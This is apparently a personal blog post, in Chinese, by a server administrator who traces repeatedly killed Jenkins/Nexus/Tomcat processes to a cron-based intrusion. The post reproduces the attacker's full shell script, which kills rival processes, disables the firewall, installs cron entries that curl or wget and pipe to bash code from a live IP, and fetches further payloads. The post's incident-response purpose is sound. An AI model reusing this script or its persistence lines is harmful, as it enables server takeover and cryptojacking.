centos系统启动jenkins,nexus,tomcat后不久进程总是被自动kill掉，最初以为是 系统内存不足引起的，因为当时gitlab占用的内存很大，剩余内存只有3G左右。但是后来把gitlab停掉后，空闲内存一直保持在18G左右，但问题依然存在。
网上找了很多但都没有我这种情况，最后我发现每次出现这个现象时系统都会提示我You have new mail in /var/spool/mail/root
先开始我没把这个当回事，最后其它方法都试遍了只能怀疑这个的影响了。
打开/var/spool/mail/root后发现，有N封邮件，内容都一样，都是报错信息，邮件如下：
From root@cj-yun.localdomain Mon Apr 8 09:41:04 2019
Return-Path: <root@cj-yun.localdomain>
X-Original-To: root
Delivered-To: root@cj-yun.localdomain
Received: by cj-yun.localdomain (Postfix, from userid 0)
id E072A240196; Mon, 8 Apr 2019 09:41:04 +0800 (CST)
From: root@cj-yun.localdomain (Cron Daemon)
To: root@cj-yun.localdomain
Subject: Cron <root@cj-yun> (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20190408014104.E072A240196@cj-yun.localdomain>
Date: Mon, 8 Apr 2019 09:41:01 +0800 (CST)mkdir: cannot create directory `/var/tmp': File exists
bash: line 9: service: command not found
bash: line 10: SuSEfirewall2: command not found
bash: line 11: reSuSEfirewall2: command not found
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
bash: line 26: iptables: command not found
bash: line 27: iptables: command not found
bash: line 28: iptables: command not found
bash: line 29: iptables: command not found
bash: line 39: chkconfig: command not found
chattr: No such file or directory while trying to stat /usr/local/lib/libntpd.so
chmod: cannot access `/usr/local/lib/libntpd.so': No such file or directory
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
chattr: No such file or directory while trying to stat /usr/lib/libiacpkmn.so.3
chattr: No such file or directory while trying to stat /etc/init.d/nfstruncate
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
tcp 0 0 192.168.196.50:60400 185.161.70.34:3333 ESTABLISHED
/root
Cron exists
因为有报错信息，我以为是系统在有些操作时报错了，把其中错误信息在网上搜索了下，发现跟我启动Jenkins或者nexus之类的操作是完全无关的。最后搜索某一个错误时有一篇文章说是被入侵了才引起我的注意。虽然这台服务器的防火墙是关闭的。但是当时我还是不相信这台服务器会被入侵。
无奈没有其它的方向，只好沿着这个方向调查了。首先，看邮件的倒数第二行发现本机的Ip:60400端口和一个不知道的ip：3333端口，百度了下这个端口，是个乌克兰的Ip。。感觉确实被它从我的60400端口入侵了。再看邮件里报错的信息，出现了某某文件第XX行报错，但是好像没有什么文件啊，能想到的就是可能被入侵后放入了脚本，然后执行脚本时有些目录没有或者权限问题报的错。
但是脚本在哪呢？最后在邮件的subject一栏里发现了一个地址。
(curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh
就是它了！！在浏览器打开http://107.174.47.156/mr.sh后就能看到脚本的内容了。
下面就是脚本的内容。
#!/bin/sh
mkdir /var/tmp
touch /etc/ld.so.preload
chattr -i /usr/bin/wget
chmod 755 /usr/bin/wget
chattr -i /usr/bin/curl
chmod 755 /usr/bin/curl
/etc/init.d/iptables stop
service iptables stop
SuSEfirewall2 stop
reSuSEfirewall2 stop
pkill -f sysxlj
pkill -f jourxlv
pkill -f sustes
touch /etc/ld.so.preload
netstat -antp | grep '56415' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '139.99.120.75' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
rm -rf /usr/lib/void.so
rm -rf /etc/voidonce.sh
rm -rf /usr/local/lib/libjdk.so
rm -rf /usr/local/lib/libntp.so
ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print $2}'|xargs kill -9
sed -i '$d' /etc/crontab
rm -rf /lib64/library1.so
rm -rf /usr/lib64/library1.so
iptables -I OUTPUT -s 167.99.166.61 -j DROP
iptables -I INPUT -s 167.99.166.61 -j DROP
iptables -I OUTPUT -p tcp -m string --string "pastebin" --algo bm -j DROP
iptables -I OUTPUT -p udp -m string --string "pastebin" --algo kmp -j DROP
rm -rf /etc/cron.monthly/oanacroner
rm -rf /etc/cron.daily/oanacroner
rm -rf /etc/cron.hourly/oanacroner
rm -rf /usr/local/bin/dns
echo "" > /etc/crontab
echo "" > /etc/cron.d/root
echo "" > /etc/cron.d/apache
echo "" > /var/spool/cron/root
echo "" > /var/spool/cron/crontabs/root
chkconfig --del netdns
pkill -f netdns
echo "" > /etc/cron.d/system
chmod 777 /var/tmp
rm -rf /usr/local/bin/dns
rm -rf /usr/sbin/netdns
rm -rf /etc/init.d/netdns
rm -rf /etc/cron.monthly/oanacroner
rm -rf /etc/cron.daily/oanacroner
rm -rf /etc/cron.hourly/oanacroner
chattr -i /usr/local/lib/libntpd.so
chmod 777 /usr/local/lib/libntpd.so
rm -rf /usr/local/lib/libntpd.so
sed -i '/libntpd.so/d' /etc/ld.so.preload
crontab -l | sed '/pastebin.com/d' | crontab -
netstat -antp | grep '27.155.87.59' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '27.155.87.59' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'CLOSE_WAIT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '103.99.115.220' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '103.99.115.220' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
pkill -f /usr/bin/.sshd
netstat -antp | grep '202.144.193.110:3333' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
rm -rf /var/tmp/j*
rm -rf /tmp/j*
rm -rf /var/tmp/java
rm -rf /tmp/java
rm -rf /var/tmp/java2
rm -rf /tmp/java2
rm -rf /var/tmp/java*
rm -rf /tmp/java*
chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
rm -rf /etc/rc.d/rc*.d/S01nfstruncate /bin/nfstruncate
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
echo -e "*/1 * * * * root (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh\n##" > /etc/cron.d/root
echo -e "*/2 * * * * root (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh\n##" > /etc/cron.d/apache
echo -e "*/30 * * * * (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh\n##" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "* * * * * (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh\n##" > /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
(curl -fsSL --connect-timeout 120 http://107.174.47.156/11 -o /etc/cron.hourly/oanacroner1||http://107.174.47.156/11 -O /etc/cron.hourly/oanacroner1) && chmod 755 /etc/cron.hourly/oanacroner1
rm -rf /tmp/a7b104c270
rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
chmod 777 /var/tmp/sustse
ps aux | grep -vw 'kworkerds\|sustse' | awk '{if($3>30.0) print $2}' | while read procid
do
kill -9 $procid
done
ps ax | grep /tmp/ | grep -v grep | grep -v 'kworkerds\|sustse\|kworkerds\|sustse\|ppl' | awk '{print $1}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf' | grep -v grep | grep -v 'kworkerds\|sustse\|kworkerds\|sustse\|ppl' | awk '{print $1}' | xargs kill -9
netstat -ant|grep '185.161.70.34:3333\|202.144.193.184:3333\|205.185.122.99:3333'|grep 'ESTABLISHED'|grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -s http://107.174.47.156/2mr.sh | bash -sh || wget -q -O - http://107.174.47.156/2mr.sh | bash -sh
fi
sleep 2
if crontab -l | grep -q "107.174.47.156"
then
echo "Cron exists"
else
crontab -r
echo "Cron not found"
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
LDR="wget -q -O -";
fi
(crontab -l 2>/dev/null; echo "* * * * * $LDR http://107.174.47.156/mr.sh | bash -sh > /dev/null 2>&1")| crontab -
fi
rm -rf /var/tmp/jrm
rm -rf /tmp/jrm
pkill -f 185.222.210.59
pkill -f 95.142.40.81
pkill -f 192.99.142.232
chmod 777 /var/tmp/sustse
crontab -l | sed '/185.222.210.59/d' | crontab -
虽然很复杂，但是得解决问题啊！只能硬起头皮看下去了，可以看到的是里面有很多kill命令，这就对了，这就是为什么进程启动后会自动被kill的原因。现在的思路是找到脚本存放的位置，然后删掉后再试。只希望它不会删除后自动生成了。
直接查找所有http://107.174.47.156/mr.sh发现把它存在了几个路径，依次删除后就好了！！！
第一次遇到被入侵，居然还自己解决了，虽然这个脚本没那么厉害，只是kill掉了一些进程，也不会自动生成。但还是很有成就感的。